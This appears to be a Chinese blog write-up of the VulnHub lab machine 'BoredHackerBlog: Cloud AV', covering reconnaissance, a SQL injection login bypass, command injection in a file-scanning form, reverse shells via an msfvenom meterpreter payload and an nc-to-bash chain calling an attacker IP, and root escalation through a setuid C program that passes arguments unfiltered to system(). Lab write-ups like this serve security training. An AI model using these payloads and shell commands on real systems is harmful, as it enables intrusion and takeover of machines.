靶机二:BoredHackerBlog_ Cloud AV

一、靶机地址

https://vulnhub.com/entry/boredhackerblog-cloud-av,453/
在这里插入图片描述

建议使用Virtualbox的host-only网络,不然有可能会获取不到IP地址

二、信息收集

在这里插入图片描述

常规的arp-scan,nmap 跑一下,发现靶机地址192.168.56.105。开放8080、22端口

三、渗透阶段

发现是一个登陆页面,常规性的尝试sqlmap跑注入,没有跑出结果。在输入框输入 " ,触发页面报错。
在这里插入图片描述

根据页面信息可以得出sqlite3.0+flask框架写的网站。
在这里插入图片描述

报错直接暴露了一个SQL语句 select * from code where password=“’ + password + '”

在这里插入图片描述

语句拼接成: select * from code where password=“1 " or 1=1 --+”,即可绕过登录
在这里插入图片描述

尝试了下功能,应该是输入文件名,后台进行扫描
在这里插入图片描述

盲猜有命令执行漏洞,发现执行成功。
在这里插入图片描述

尝试通过bash反弹shell,但是没用,后面尝试了两种办法
在这里插入图片描述

思路1-msf生成linux后门反弹:

参考命令。msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
在这里插入图片描述

修改权限后执行
在这里插入图片描述

MSF接收meterperter
在这里插入图片描述

思路2-nc命令串联:

nc 192.168.56.103 9999 | /bin/bash | nc 192.168.56.103 8888
通过nc吧/bin/bash的输入弹给9999端口,显示输出重定向到8888端口。

四、提权

一开始拿的shell,不是友好的shell,目标主机上有python环境,可以用 python -c'importpty; pty.spawn("/bin/bash")'获取一个友好的shell。
在这里插入图片描述

在信息收集的过程中,发现一个路径中,update_cloudav存在rws权限,意味着程序执行过程中具有root权限。下面还存放有源码。
源码如下:
``int main(int argc, char *argv[])
{
char *freshclam=“/usr/bin/freshclam”;
if (argc < 2){
printf(“This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n”);
return 1;
}
char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2);
sprintf(command, “%s %s”, freshclam, argv[1]);
setgid(0);
setuid(0);
system(command);
return 0;
}
关键问题在 *command 在对命令参数进行拼接后,传入到system()函数中,并没有做过滤,所以可以进行命令执行。尝试执行任意命令,发现有报错,从代码上看,不影响命令执行,没有回显。既然是直接执行shell命令,那么可以通过|符来拼接命令。
在这里插入图片描述

尝试在参数后构造bash反弹shell,本地弹shell都没有成功。
在这里插入图片描述

最后尝试上面的nc命令串联方法,反弹shell成功。

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值